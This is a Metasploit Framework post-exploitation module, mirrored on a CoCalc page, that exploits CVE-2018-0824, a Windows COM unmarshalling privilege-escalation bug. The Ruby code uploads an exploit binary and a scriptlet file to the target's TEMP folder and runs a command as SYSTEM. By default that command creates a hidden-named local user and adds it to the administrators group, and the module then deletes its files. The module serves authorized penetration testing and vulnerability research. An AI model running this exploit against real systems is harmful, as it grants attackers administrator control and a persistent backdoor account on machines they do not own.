CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/escalate/unmarshal_cmd_exec.rb
Views: 1904
1
# This module requires Metasploit: https://metasploit.com/download
2
# Current source: https://github.com/rapid7/metasploit-framework
3
##
4
5
class MetasploitModule < Msf::Post
6
include Msf::Post::Common
7
include Msf::Post::File
8
include Msf::Post::Windows::Version
9
# include Msf::Post::Windows::Priv
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Windows unmarshal post exploitation',
16
'Description' => %q{
17
This module exploits a local privilege escalation bug which exists
18
in microsoft COM for windows when it fails to properly handle serialized objects.
19
},
20
'References' => [
21
['CVE', '2018-0824'],
22
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0824'],
23
['URL', 'https://github.com/x73x61x6ex6ax61x79/UnmarshalPwn'],
24
['EDB', '44906']
25
],
26
'Author' => [
27
'Nicolas Joly', # Vulnerability discovery
28
'Matthias Kaiser', # Exploit PoC
29
'Sanjay Gondaliya', # Modified PoC
30
'Pratik Shah <[email protected]>' # Metasploit module
31
],
32
'DisclosureDate' => '2018-08-05',
33
'Platform' => ['win'],
34
'Arch' => ARCH_X64,
35
'License' => MSF_LICENSE,
36
'Compat' => {
37
'Meterpreter' => {
38
'Commands' => %w[
39
stdapi_sys_config_getenv
40
]
41
}
42
}
43
)
44
)
45
46
register_options(
47
[
48
OptString.new('COMMAND',
49
[false, 'The command to execute as SYSTEM (Can only be a cmd.exe builtin or Windows binary, (net user /add %RAND% %RAND% & net localgroup administrators /add <user>).', nil]),
50
OptString.new('EXPLOIT_NAME',
51
[false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
52
OptString.new('SCRIPT_NAME',
53
[false, 'The filename to use for the COM script file (%RAND% by default).', nil]),
54
OptString.new('PATH',
55
[false, 'Path to write binaries (%TEMP% by default).', nil]),
56
]
57
)
58
end
59
60
def setup
61
super
62
validate_active_host
63
@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))
64
@script_name = datastore['SCRIPT_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))
65
@exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)
66
@script_name = "#{script_name}.sct" unless script_name.match(/\.sct$/i)
67
@temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
68
@exploit_path = "#{temp_path}\\#{exploit_name}"
69
@script_path = "#{temp_path}\\#{script_name}"
70
end
71
72
def populate_command
73
username = Rex::Text.rand_text_alpha(rand(6..13))
74
password = Rex::Text.rand_text_alpha(rand(6..13))
75
print_status("username = #{username}, password = #{password}")
76
cmd_to_run = 'net user /add ' + username + ' ' + password
77
cmd_to_run += ' & net localgroup administrators /add ' + username
78
print_status(cmd_to_run)
79
return cmd_to_run
80
end
81
82
def validate_active_host
83
print_status("Attempting to Run on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
84
rescue Rex::Post::Meterpreter::RequestError => e
85
elog(e)
86
raise Msf::Exploit::Failed, 'Could not connect to session'
87
end
88
89
def validate_remote_path(path)
90
unless directory?(path)
91
fail_with(Failure::Unreachable, "#{path} does not exist on the target")
92
end
93
end
94
95
def validate_target
96
if sysinfo['Architecture'] == ARCH_X86
97
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
98
end
99
version = get_version_info
100
unless version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win10_1803)
101
fail_with(Failure::Unknown, 'The exploit does not support this OS')
102
end
103
end
104
105
def ensure_clean_destination(path)
106
if file?(path)
107
print_status("#{path} already exists on the target. Deleting...")
108
begin
109
file_rm(path)
110
print_status("Deleted #{path}")
111
rescue Rex::Post::Meterpreter::RequestError => e
112
elog(e)
113
print_error("Unable to delete #{path}")
114
end
115
end
116
end
117
118
def upload_exploit
119
local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'UnmarshalPwn.exe')
120
upload_file(exploit_path, local_exploit_path)
121
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
122
end
123
124
def upload_script(cmd_to_run)
125
vprint_status("Creating the sct file with command #{cmd_to_run}")
126
local_script_template_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'script_template')
127
script_template_data = ::IO.read(local_script_template_path)
128
vprint_status("script_template_data.length = #{script_template_data.length}")
129
full_command = 'cmd.exe /c ' + cmd_to_run
130
full_command = full_command
131
script_data = script_template_data.sub!('SCRIPTED_COMMAND', full_command)
132
if script_data.nil?
133
fail_with(Failure::BadConfig, 'Failed to substitute command in script_template')
134
end
135
vprint_status("Writing #{script_data.length} bytes to #{script_path} to target")
136
write_file(script_path, script_data)
137
vprint_status('Script uploaded successfully')
138
end
139
140
def run
141
if datastore['COMMAND'].nil?
142
cmd_to_run = populate_command
143
else
144
cmd_to_run = datastore['COMMAND']
145
end
146
print_status("exploit path is: #{exploit_path}")
147
print_status("script path is: #{script_path}")
148
print_status("command is: #{cmd_to_run}")
149
begin
150
validate_active_host
151
validate_target
152
validate_remote_path(temp_path)
153
ensure_clean_destination(exploit_path)
154
ensure_clean_destination(script_path)
155
vprint_status("Uploading Script to #{script_path}")
156
upload_script(cmd_to_run)
157
vprint_status("Uploading Exploit to #{exploit_path}")
158
upload_exploit
159
vprint_status('Launching Exploit...')
160
command_output = cmd_exec(exploit_path + ' ' + script_path)
161
vprint_status(command_output)
162
print_good('Exploit Completed')
163
ensure_clean_destination(exploit_path)
164
ensure_clean_destination(script_path)
165
rescue Rex::Post::Meterpreter::RequestError => e
166
elog('Command failed, cleaning up', error: e)
167
print_good('Command failed, cleaning up')
168
print_error(e.message)
169
ensure_clean_destination(exploit_path)
170
ensure_clean_destination(script_path)
171
end
172
end
173
attr_reader :exploit_name, :script_name, :temp_path, :exploit_path, :script_path
174
end
175
176